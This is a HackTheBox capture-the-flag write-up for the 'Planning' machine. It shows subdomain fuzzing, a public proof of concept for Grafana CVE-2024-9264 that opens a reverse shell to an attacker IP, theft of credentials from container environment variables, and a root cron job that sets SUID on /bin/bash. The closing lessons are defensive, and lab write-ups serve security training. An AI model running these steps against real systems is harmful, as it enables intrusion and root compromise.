HTB: Planning Writeup

Planning - HackTheBox Writeup

Machine Information

AttributeDetails
NamePlanning
OSLinux
DifficultyEasy
Points660
Release Date4 September 2025
IP Address10.10.11.68
Authord00msl4y3r & FisMatHack

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐☆☆☆

Summary

Planning is an easy difficulty Linux machine featuring web enumeration, subdomain fuzzing, and exploitation of a vulnerable Grafana instance running version 11.0.0. The machine demonstrates CVE-2024-9264, an SQL injection vulnerability in Grafana’s experimental SQL Expressions feature that allows remote code execution through unsanitized DuckDB CLI queries. After gaining initial access to a Docker container, exposed environment variables reveal hardcoded credentials enabling lateral movement to the host system via password reuse. Finally, a custom cron management application accessible on port 8000 with root privileges allows arbitrary command execution, leading to full system compromise through privilege escalation.

TL;DR: Subdomain enumeration → Grafana CVE-2024-9264 RCE → Docker escape via credential reuse → Cron management portal exploitation → Root shell.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV 10.10.11.68

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11
80/tcp open http nginx 1.24.0 (Ubuntu)

Two ports are open: OpenSSH on port 22 and Nginx hosting HTTP on port 80. The HTTP service redirects to http://planning.htb, requiring DNS resolution.

Service Enumeration

HTTP (Port 80): The Nginx web server hosts an educational platform for online courses. Basic enumeration of the main domain reveals no sensitive information or exploitable functionality.

Subdomain Fuzzing:

To discover hidden subdomains, we use FFUF with a comprehensive wordlist:

Terminal window
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-H 'Host: FUZZ.planning.htb' \
-u http://planning.htb \
-c

This produces many false positives. Filtering by response size to reduce noise:

Terminal window
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-H 'Host: FUZZ.planning.htb' \
-u http://planning.htb \
-c -fs 178

Result: The subdomain grafana is discovered with a 302 redirect response (Size: 29).

Add to /etc/hosts:

Terminal window
echo "10.10.11.68 planning.htb grafana.planning.htb" | sudo tee -a /etc/hosts

Grafana Service: Accessing http://grafana.planning.htb presents a login page. The Grafana version is identified as v11.0.0 (visible via the help icon tooltip). Version 11.0.0 contains a critical vulnerability in the experimental SQL Expressions feature.

Vulnerability Assessment

CVE-2024-9264 - Grafana SQL Injection & RCE:

  • Affected Version: Grafana 11.0.0
  • Root Cause: The SQL Expressions feature passes unsanitized SQL queries directly to the DuckDB CLI without proper validation
  • Impact: Allows authenticated users with Viewer permissions or higher to achieve RCE and LFI
  • Prerequisite: DuckDB must be installed and accessible in the system PATH
  • Accessibility: Feature is disabled by default in the GUI but remains accessible via API due to incorrect feature toggling

Credentials Obtained: During the reconnaissance phase, default credentials are provided: admin:0D5oT70Fq13EvB5r


Initial Foothold

Exploitation Path

Step 1: Authenticate to Grafana

Login with provided credentials:

  • Username: admin
  • Password: 0D5oT70Fq13EvB5r

Step 2: Execute CVE-2024-9264 Exploit

A public POC script exists that leverages the SQL Expressions vulnerability to inject malicious SQL queries. First, set up a reverse shell listener:

Terminal window
nc -lvnp 9001

Download and execute the POC exploit script:

Terminal window
python3 poc.py \
--url http://grafana.planning.htb \
--username admin \
--password '0D5oT70Fq13EvB5r' \
--reverse-ip <YOUR_IP> \
--reverse-port 9001

Expected output:

[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 9001

Step 3: Receive Reverse Shell

On the netcat listener:

Terminal window
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.68] 41562
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/usr/share/grafana

We have achieved RCE as root, but we are in a Docker container context.

Step 4: Docker Container Enumeration

Verify the containerized environment:

Terminal window
hostname
# Output: 7ce659d667d7 (Container ID)

Enumerate environment variables to find hardcoded credentials:

Terminal window
env | grep -i gf_security
# GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
# GF_SECURITY_ADMIN_USER=enzo

Step 5: Lateral Movement to Host System

The credentials enzo:RioTecRANDEntANT! suggest password reuse. Attempt SSH login:

Terminal window
ssh enzo@planning.htb
# Password: RioTecRANDEntANT!
enzo@planning:~$

Successfully logged in as the enzo user on the host system. The user flag is accessible in the home directory:

Terminal window
cat ~/user.txt
# <user_flag_content>

Privilege Escalation

Enumeration

Step 1: Identify Active Services

Enumerate listening ports to discover potential privilege escalation vectors:

Terminal window
netstat -tulnp

Key findings:

  • Port 80: HTTP (Nginx)
  • Port 3000: Grafana
  • Port 3306: MySQL
  • Port 8000: Unknown service (requires investigation)
  • Port 22: SSH
  • Port 53: DNS

Step 2: Investigate Port 8000

Port-forward the service to the local machine:

Terminal window
ssh enzo@planning.htb -L 8000:127.0.0.1:8000

Access http://localhost:8000 in a browser. A login page appears for an unknown service. Standard credentials fail.

Step 3: Discover Cron Management Application

Explore the filesystem for sensitive files:

Terminal window
ls -la /opt/
# drwxr-xr-x 2 root root 4096 Sep 1 09:21 crontabs
cd /opt/crontabs
cat crontab.db

Contents of crontab.db:

{
"name":"Grafana backup",
"command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
"schedule":"@daily",
"stopped":false
}
{
"name":"Cleanup",
"command":"/root/scripts/cleanup.sh",
"schedule":"* * * * *",
"stopped":false
}

Discovery: A plaintext password is exposed: P4ssw0rdS0pRi0T3c

Step 4: Access Cron Management Portal

The service on port 8000 is a custom cron management interface. Login with discovered credentials:

  • Username: root
  • Password: P4ssw0rdS0pRi0T3c

The dashboard displays existing cron jobs and provides the ability to create new ones. Critically, these jobs execute with root privileges.

Exploitation

Step 5: Create Privileged Cron Job

Create a new cron job to set the SUID bit on /bin/bash:

  1. Navigate to the “Create New Cron” section
  2. Enter command: chmod u+s /bin/bash
  3. Set schedule to any valid value (e.g., 0 0 * * *)
  4. Click “Run Now” to execute immediately

Step 6: Verify SUID Bit

Return to the SSH session and verify the SUID bit:

Terminal window
ls -la /bin/bash
# -rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash

Step 7: Achieve Root Shell

Execute bash with the -p flag to prevent privilege drop:

Terminal window
bash -p
# bash-5.2# whoami
root

Step 8: Capture Root Flag

Terminal window
cat /root/root.txt
# <root_flag_content>

Attack Chain Summary

Subdomain Enumeration (FFUF)
Discover grafana.planning.htb
Authenticate to Grafana (admin:0D5oT70Fq13EvB5r)
Exploit CVE-2024-9264 (SQL Injection → RCE)
Reverse Shell in Docker Container (uid=0)
Enumerate Environment Variables
Discover Hardcoded Credentials (enzo:RioTecRANDEntANT!)
SSH Lateral Movement to Host
Discover /opt/crontabs/crontab.db
Extract Root Password (P4ssw0rdS0pRi0T3c)
Access Custom Cron Management Portal (Port 8000)
Create Privileged Cron Job (chmod u+s /bin/bash)
Execute with -p Flag
Root Shell Achieved

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ffufSubdomain fuzzing and discovery
curl / BrowserHTTP service reconnaissance
netcat (nc)Reverse shell listener
python3POC exploit script execution
sshSecure shell access and port forwarding
netstatActive service enumeration

Key Learnings

Techniques Practiced

  • Subdomain Enumeration: Using FFUF with response filtering to identify valid subdomains while reducing false positives
  • CVE-2024-9264 Exploitation: Understanding SQL injection vulnerabilities in database abstraction layers and how unsanitized CLI input execution leads to RCE
  • Docker Environment Enumeration: Identifying containerization indicators and extracting sensitive configuration data from environment variables
  • Credential Reuse Analysis: Recognizing common security misconfigurations where developers reuse passwords across systems
  • Port Forwarding: Accessing localhost-only services through SSH tunneling
  • Custom Application Exploitation: Analyzing non-standard applications for privilege escalation opportunities
  • SUID Privilege Escalation: Leveraging the SUID bit on system binaries to maintain elevated privileges

Lessons Learned

  1. Environmental Variable Exposure: Never hardcode sensitive credentials in Docker environment variables or configuration files—use secrets management systems.

  2. Feature Flag Mismanagement: Experimental or deprecated features must be completely removed from codebases, not merely hidden from the UI. API-level access bypasses GUI restrictions.

  3. Direct CLI Execution: Never pass unsanitized user input directly to system CLI tools. Always validate, sanitize, and use parameterized approaches.

  4. Password Reuse Across Systems: Organizations must enforce unique passwords for different systems to prevent lateral movement when one system is compromised.

  5. Excessive Cron Job Privileges: Custom cron management applications should implement the principle of least privilege rather than running all jobs as root.

  6. Database File Permissions: Configuration databases (like crontab.db) should have restricted read permissions to prevent information disclosure.

  7. API Security vs. GUI Security: Security controls implemented only in the UI are insufficient—they must be enforced at the API layer.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>